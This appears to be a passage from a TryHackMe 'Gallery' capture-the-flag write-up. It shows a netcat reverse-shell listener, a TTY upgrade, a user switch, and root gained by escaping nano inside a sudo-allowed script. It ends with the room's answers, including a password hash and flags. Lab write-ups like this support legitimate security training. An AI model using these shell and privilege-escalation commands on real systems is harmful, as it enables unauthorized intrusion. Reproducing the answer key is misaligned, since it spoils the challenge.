www-data@gallery:/var/www/html/gallery/uploads$ export SHELL=bash
export SHELL=bash
www-data@gallery:/var/www/html/gallery/uploads$ export TERM=xterm-256color
export TERM=xterm-256color
uhmm just using netcat without rlwrap . something fails when i open nano
──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.19.103.
Ncat: Connection from 10.10.19.103:44634.
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/python3.6 -c 'import pty;pty.spawn("/bin/bash")'
www-data@gallery:/var/www/html/gallery/uploads$ ^Z
zsh: suspended nc -lvnp 1337
┌──(kali㉿kali)-[~/Downloads]
└─$ stty raw -echo ; fg
[1] + continued nc -lvnp 1337
www-data@gallery:/var/www/html/gallery/uploads$
www-data@gallery:/var/www/html/gallery/uploads$
www-data@gallery:/var/www/html/gallery/uploads$ export SHELL=bash
www-data@gallery:/var/www/html/gallery/uploads$ export TERM=xterm-256color
www-data@gallery:/var/www/html/gallery/uploads$ su mike
Password:
mike@gallery:/var/www/html/gallery/uploads$ cd /home/mike
mike@gallery:~$ sudo -l
Matching Defaults entries for mike on gallery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
mike@gallery:~$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
in my case press Ctrl + C , then Ctrl+R and Ctrl+X
and enter command reset; sh 1>&0 2>&0
^C Cancellp [ Read 0 lines ]# whoami
root
# cd /root
# ls
report.txt root.txt
# cat root.txt
THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}
:)
How many ports are open?
2
What's the name of the CMS?
Simple Image Gallery
What's the hash password of the admin user?
a228b12a08b6527e7978cbe5d914531c
What's the user flag?
THM{af05cd30bfed67849befd546ef}
Escalate to the root user
What's the root flag?
THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}
[[Agent T]]
Last updated
